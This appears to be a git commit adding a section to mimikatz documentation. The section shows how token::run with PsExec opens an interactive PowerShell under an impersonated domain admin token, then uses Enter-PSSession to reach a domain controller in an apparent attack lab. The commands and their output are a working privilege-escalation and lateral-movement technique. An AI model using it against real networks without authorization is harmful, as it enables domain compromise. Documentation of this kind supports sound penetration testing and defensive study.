Skip to content

Commit aadcbb1

Browse files
committed
How to run an interacive PowerShell from token::run
1 parent 76c0675 commit aadcbb1

1 file changed

Lines changed: 50 additions & 0 deletions

File tree

mimikatz/modules/token/run.md

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -138,6 +138,56 @@ Global Group memberships *Domain Admins *Domain Users
138138
The command completed successfully.
139139
```
140140

141+
It's not possible to directly start a new interactive PowerShell process,
142+
because the user input of a new process is somehow not handled correctly.
143+
However, when PowerShell is started via PsExec, it can be interactively used:
144+
145+
```
146+
mimikatz # token::run /id:77132228 /process:"C:\tools\PsExec64.exe -accepteula -i powershell.exe"
147+
Token Id : 77132228
148+
User name :
149+
SID name :
150+
151+
8544 {0;0498f042} 2 L 77132228 child\ffast S-1-5-21-1345929560-157546789-2569868433-1123 (14g,05p) Primary
152+
153+
PsExec v2.4 - Execute processes remotely
154+
Copyright (C) 2001-2022 Mark Russinovich
155+
Sysinternals - www.sysinternals.com
156+
```
157+
158+
A new PowerShell window is then opened wich can be used interactively:
159+
160+
```
161+
PS C:\Windows\system32> whoami
162+
winattacklab\ffast
163+
164+
S C:\Windows\system32> Enter-PSSession DC1
165+
[DC1]: PS C:\Users\ffast\Documents> hostname
166+
DC1
167+
[DC1]: PS C:\Users\ffast\Documents> whoami
168+
winattacklab\ffast
169+
[DC1]: PS C:\Users\ffast\Documents> ls \
170+
171+
172+
Directory: C:\
173+
174+
175+
Mode LastWriteTime Length Name
176+
---- ------------- ------ ----
177+
d----- 5/31/2023 6:30 AM AzureData
178+
d----- 5/31/2023 7:09 AM ddns_server
179+
d----- 5/31/2023 7:04 AM inetpub
180+
d----- 5/31/2023 6:46 AM Packages
181+
d----- 5/5/2023 11:31 AM PerfLogs
182+
d-r--- 5/31/2023 7:04 AM Program Files
183+
d----- 5/5/2023 12:26 PM Program Files (x86)
184+
d----- 5/31/2023 7:10 AM terraform
185+
d-r--- 6/22/2023 1:02 PM Users
186+
d-r--- 6/20/2023 5:27 PM Windows
187+
d----- 5/31/2023 6:33 AM WindowsAzure
188+
d----- 5/31/2023 7:07 AM WSUS
189+
```
190+
141191
## Demystifying the `kull_m_process_run_data` Error
142192

143193
Even as a local administrator, you can get the `kull_m_process_run_data` error:

0 commit comments

Comments
 (0)